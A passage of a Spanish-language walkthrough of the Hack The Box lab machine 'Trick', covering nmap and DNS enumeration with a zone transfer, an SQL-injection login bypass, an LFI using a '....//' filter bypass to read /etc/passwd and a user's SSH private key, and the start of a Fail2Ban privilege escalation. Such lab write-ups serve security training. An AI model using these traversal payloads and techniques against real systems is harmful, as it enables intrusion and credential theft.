style="color:#ae81ff"&gt;78&lt;/span&gt; (ECDSA)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBAoXvyMKuWhQvWx52EFXK9ytX/pGmjZptG8Kb+DOgKcGeBgGPKX3ZpryuGR44av0WnKP0gnRLWk7UCbqY3mxXU0=
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| &lt;span style="color:#ae81ff"&gt;256&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;72&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;93&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;f9&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;11&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;58&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;de&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;34&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;ad&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;12&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;b5&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;4b&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;4a&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;73&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;64&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;b9&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;70&lt;/span&gt; (ED25519)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIGY1WZWn9xuvXhfxFFm82J9eRGNYJ9NnfzECUm0faUXm
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;25&lt;/span&gt;/tcp open smtp? syn-ack ttl &lt;span style="color:#ae81ff"&gt;63&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;|_smtp-commands: Couldn&lt;span style="color:#960050;background-color:#1e0010"&gt;&amp;#39;&lt;/span&gt;t establish connection on port &lt;span style="color:#ae81ff"&gt;25&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;53&lt;/span&gt;/tcp open domain syn-ack ttl &lt;span style="color:#ae81ff"&gt;63&lt;/span&gt; ISC BIND &lt;span style="color:#ae81ff"&gt;9.11&lt;/span&gt;.&lt;span style="color:#ae81ff"&gt;5&lt;/span&gt;-P4-&lt;span style="color:#ae81ff"&gt;5.1&lt;/span&gt;+deb10u7 (Debian Linux)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| dns-nsid&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;|_ bind.version&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;9.11&lt;/span&gt;.&lt;span style="color:#ae81ff"&gt;5&lt;/span&gt;-P4-&lt;span style="color:#ae81ff"&gt;5.1&lt;/span&gt;+deb10u7-Debian
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;80&lt;/span&gt;/tcp open http syn-ack ttl &lt;span style="color:#ae81ff"&gt;63&lt;/span&gt; nginx &lt;span style="color:#ae81ff"&gt;1.14&lt;/span&gt;.2
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| http-methods&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;|_ Supported Methods&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; GET HEAD
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;|_http-favicon: Unknown favicon MD5&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; 556F31ACD686989B1AFCF382C05846AA
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;|_http-server-header: nginx/&lt;span style="color:#ae81ff"&gt;1.14&lt;/span&gt;.2
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;|_http-title: Coming Soon - Start Bootstrap Theme
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Service Info&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; OS&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; Linux; CPE&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; cpe&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;/o:linux&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;linux_kernel
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="enumeración-web-puerto-80"&gt;Enumeración Web (Puerto 80)&lt;/h3&gt;
&lt;p&gt;Al visitar la web principal en el puerto 80, encuentro una página &amp;ldquo;Coming Soon&amp;rdquo; sin funcionalidad aparente. Identifico que corre sobre &lt;strong&gt;Nginx 1.14.2&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2f0888fa-f353-80da-9483-d666c3dfcfea.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;h3 id="enumeración-dns-puerto-53"&gt;Enumeración DNS (Puerto 53)&lt;/h3&gt;
&lt;p&gt;Dado que el puerto 53 está abierto, realizo una búsqueda inversa (reverse lookup) para identificar el nombre de dominio de la máquina.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;dig @10.129.95.104 -x &lt;span style="color:#ae81ff"&gt;10.129&lt;/span&gt;.95.104
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;; &amp;lt;&amp;lt;&amp;gt;&amp;gt; DiG &lt;span style="color:#ae81ff"&gt;9.20&lt;/span&gt;.&lt;span style="color:#ae81ff"&gt;4&lt;/span&gt;-&lt;span style="color:#ae81ff"&gt;4&lt;/span&gt;-Debian &amp;lt;&amp;lt;&amp;gt;&amp;gt; @10.129.95.104 -x &lt;span style="color:#ae81ff"&gt;10.129&lt;/span&gt;.95.104
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;; (&lt;span style="color:#ae81ff"&gt;1&lt;/span&gt; server found)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;;; global options&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; +cmd
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;;; Got answer&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;;; -&amp;gt;&amp;gt;HEADER&amp;lt;&amp;lt;- opcode&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; QUERY, status&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; NOERROR, id&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;46316&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;;; flags&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; qr aa rd; QUERY&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, ANSWER&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, AUTHORITY&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, ADDITIONAL&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;3&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;;; WARNING&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; recursion requested but not available
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;;; OPT PSEUDOSECTION&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;; EDNS&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; version&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;, flags&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;; udp&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;4096&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;; COOKIE&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; 5e0ee3a854962e4cc522bb9469725f8b9fb68186fcd1fb04 (good)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;;; QUESTION SECTION&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;;&lt;span style="color:#ae81ff"&gt;104.95&lt;/span&gt;.129.10.in-addr.arpa. &lt;span style="color:#66d9ef"&gt;IN&lt;/span&gt; PTR
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;;; ANSWER SECTION&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;104.95&lt;/span&gt;.129.10.in-addr.arpa. &lt;span style="color:#ae81ff"&gt;604800&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;IN&lt;/span&gt; PTR trick.htb.
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;;; AUTHORITY SECTION&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;95.129&lt;/span&gt;.10.in-addr.arpa. &lt;span style="color:#ae81ff"&gt;604800&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;IN&lt;/span&gt; NS trick.htb.
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;;; ADDITIONAL SECTION&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;trick.htb. &lt;span style="color:#ae81ff"&gt;604800&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;IN&lt;/span&gt; A &lt;span style="color:#ae81ff"&gt;127.0&lt;/span&gt;.0.1
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;trick.htb. &lt;span style="color:#ae81ff"&gt;604800&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;IN&lt;/span&gt; AAAA ::&lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;;; Query time&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;204&lt;/span&gt; msec
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;;; SERVER&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;10.129&lt;/span&gt;.95.&lt;span style="color:#ae81ff"&gt;104&lt;/span&gt;&lt;span style="color:#75715e"&gt;#53(10.129.95.104) (UDP)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;;; WHEN&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; Thu Jan &lt;span style="color:#ae81ff"&gt;22&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;18&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;33&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;54&lt;/span&gt; CET &lt;span style="color:#ae81ff"&gt;2026&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;;; MSG SIZE rcvd&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;164&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Con el dominio &lt;code&gt;trick.htb&lt;/code&gt; identificado, intento una transferencia de zona (&lt;strong&gt;AXFR&lt;/strong&gt;) para listar todos los subdominios configurados.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;dig axfr trick.htb @10.129.95.104
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;; &amp;lt;&amp;lt;&amp;gt;&amp;gt; DiG &lt;span style="color:#ae81ff"&gt;9.20&lt;/span&gt;.&lt;span style="color:#ae81ff"&gt;4&lt;/span&gt;-&lt;span style="color:#ae81ff"&gt;4&lt;/span&gt;-Debian &amp;lt;&amp;lt;&amp;gt;&amp;gt; axfr trick.htb @10.129.95.104
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;;; global options&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; +cmd
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;trick.htb. &lt;span style="color:#ae81ff"&gt;604800&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;IN&lt;/span&gt; SOA trick.htb. root.trick.htb. &lt;span style="color:#ae81ff"&gt;5&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;604800&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;86400&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;2419200&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;604800&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;trick.htb. &lt;span style="color:#ae81ff"&gt;604800&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;IN&lt;/span&gt; NS trick.htb.
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;trick.htb. &lt;span style="color:#ae81ff"&gt;604800&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;IN&lt;/span&gt; A &lt;span style="color:#ae81ff"&gt;127.0&lt;/span&gt;.0.1
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;trick.htb. &lt;span style="color:#ae81ff"&gt;604800&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;IN&lt;/span&gt; AAAA ::&lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;preprod-payroll.trick.htb. &lt;span style="color:#ae81ff"&gt;604800&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;IN&lt;/span&gt; CNAME trick.htb.
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;trick.htb. &lt;span style="color:#ae81ff"&gt;604800&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;IN&lt;/span&gt; SOA trick.htb. root.trick.htb. &lt;span style="color:#ae81ff"&gt;5&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;604800&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;86400&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;2419200&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;604800&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;;; Query time&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;40&lt;/span&gt; msec
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;;; SERVER&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;10.129&lt;/span&gt;.95.&lt;span style="color:#ae81ff"&gt;104&lt;/span&gt;&lt;span style="color:#75715e"&gt;#53(10.129.95.104) (TCP)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;;; WHEN&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; Thu Jan &lt;span style="color:#ae81ff"&gt;22&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;18&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;36&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;11&lt;/span&gt; CET &lt;span style="color:#ae81ff"&gt;2026&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;;; XFR size&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;6&lt;/span&gt; records (messages &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, bytes &lt;span style="color:#ae81ff"&gt;231&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Encuentro un subdominio interesante: &lt;code&gt;preprod-payroll.trick.htb&lt;/code&gt;. Lo añado a mi &lt;code&gt;/etc/hosts&lt;/code&gt;.&lt;/p&gt;
&lt;h2 id="acceso-inicial"&gt;Acceso Inicial&lt;/h2&gt;
&lt;h3 id="sql-injection-en-preprod-payroll"&gt;SQL Injection en Preprod-Payroll&lt;/h3&gt;
&lt;p&gt;Al acceder a &lt;code&gt;preprod-payroll.trick.htb&lt;/code&gt;, me encuentro con un panel de login. Pruebo una inyección SQL básica para intentar bypassear la autenticación.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2f0888fa-f353-80b5-af30-cf69867e319e.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2f0888fa-f353-800c-b199-eb24c7ead9e4.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;¡Éxito! Accedo al panel administrativo de gestión de nóminas.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2f0888fa-f353-8080-b5a8-dd586092195f.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;Explorando la interfaz, en el apartado de usuarios, inspecciono el código fuente o los elementos de la lista y encuentro unas credenciales ocultas:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Usuario:&lt;/strong&gt; Enemigosss&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Password:&lt;/strong&gt; SuperGucciRainbowCake&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2f0888fa-f353-808d-8f84-f66b2f2ada93.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;Intento usar estas credenciales para SSH, pero no funcionan. El entorno parece ser de pre-producción, así que decido buscar más subdominios mediante &lt;em&gt;fuzzing&lt;/em&gt; de vhosts.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2f0888fa-f353-804e-912a-decb0b655520.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;h3 id="lfi-en-preprod-marketing"&gt;LFI en Preprod-Marketing&lt;/h3&gt;
&lt;p&gt;El fuzzing revela otro subdominio: &lt;code&gt;preprod-marketing.trick.htb&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2f0888fa-f353-8099-8cd9-c2bb698aaaa3.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;Al navegar por esta web, observo que las páginas se cargan mediante un parámetro &lt;code&gt;page&lt;/code&gt;:
&lt;code&gt;http://preprod-marketing.trick.htb/index.php?page=services.html&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;Esto es un indicador potencial de &lt;strong&gt;LFI&lt;/strong&gt;. Vamos a explorar…&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2f0888fa-f353-804b-a832-f5642c21a818.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;Pruebo cargas útiles básicas (&lt;code&gt;../../etc/passwd&lt;/code&gt;), pero no obtengo respuesta. Parece haber un filtro de sanitización. Pruebo técnicas de bypass y descubro que &lt;code&gt;....//&lt;/code&gt; funciona para saltar directorios.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2f0888fa-f353-80d0-afbd-c5baa1544b41.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;Podemos enumerar el usuario michael donde probamos una reutilización de credenciales pero nada.&lt;/p&gt;
&lt;p&gt;Consigo leer el &lt;code&gt;/etc/passwd&lt;/code&gt; y confirmo la existencia del usuario &lt;code&gt;michael&lt;/code&gt;. Dado que tengo LFI, intento leer su clave privada SSH.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2f0888fa-f353-8054-9078-cb1d6e4e712d.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;Copio la clave (&lt;code&gt;id_rsa&lt;/code&gt;), le doy los permisos adecuados (&lt;code&gt;chmod 600&lt;/code&gt;) y me conecto como &lt;code&gt;michael&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2f0888fa-f353-80eb-b923-e20c8da59aae.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;Ya estoy dentro. Capturo la &lt;strong&gt;user flag&lt;/strong&gt;.&lt;/p&gt;
&lt;h2 id="escalada-de-privilegios"&gt;Escalada de Privilegios&lt;/h2&gt;
&lt;h3 id="enumeración-de-sudoers"&gt;Enumeración de Sudoers&lt;/h3&gt;
&lt;p&gt;Reviso los permisos de sudo del usuario &lt;code&gt;michael&lt;/code&gt;.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;uid=&lt;span style="color:#ae81ff"&gt;1001&lt;/span&gt;(michael) gid=&lt;span style="color:#ae81ff"&gt;1001&lt;/span&gt;(michael) groups=&lt;span style="color:#ae81ff"&gt;1001&lt;/span&gt;(michael),&lt;span style="color:#ae81ff"&gt;1002&lt;/span&gt;(security)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;michael@trick&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;~$ sudo -l
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Matching Defaults entries &lt;span style="color:#66d9ef"&gt;for&lt;/span&gt; michael on trick&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; env_reset, mail_badpass, secure_path=/usr/local/sbin\&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;/usr/local/bin\&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;/usr/sbin\&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;/usr/bin\&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;/sbin\&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;/bin
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;User michael may run the following commands on trick&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; (root) NOPASSWD&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; /etc/init.d/fail2ban restart
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Puedo reiniciar el servicio &lt;strong&gt;Fail2Ban&lt;/strong&gt; como root sin contraseña.&lt;/p&gt;
&lt;h3 id="abuso-de-configuración-de-fail2ban"&gt;Abuso de configuración de Fail2Ban&lt;/h3&gt;
&lt;p&gt;Usamos esta guia que explica que es este ejecutable.&lt;/p&gt;
&lt;p&gt;&lt;a href="https://www.digitalocean.com/community/tutorials/how-fail2ban-works-to-protect-services-on-a-linux-server"&gt;https://www.digitalocean.com/community/tutorials/how-fail2ban-works-to-protect-services-on-a-linux-server&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Fail2Ban escanea logs y banea IPs usando iptables basándose en reglas definidas. Reviso los permisos de la configuración.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;“&lt;code&gt;Fail2ban&lt;/code&gt; scans log files (e.g. &lt;strong&gt;/var/log/apache/error_log&lt;/strong&gt;) and &lt;strong&gt;bans IPs&lt;/strong&gt; that show the malicious signs (too many password failures, seeking for exploits, etc.)”&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Observo que el grupo &lt;code&gt;security&lt;/code&gt; (al que pertenezco: &lt;code&gt;groups=1001(michael),1002(security)&lt;/code&gt;) tiene permisos de escritura sobre los archivos de configuración en &lt;code&gt;action.d&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2f0888fa-f353-80b3-8c68-cb16d4674f5f.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;Existe un objeto principal el cual contiene la configuración global de los baneos, reside en &lt;code&gt;/etc/fail2ban/jail.conf&lt;/code&gt;&lt;/p&gt;
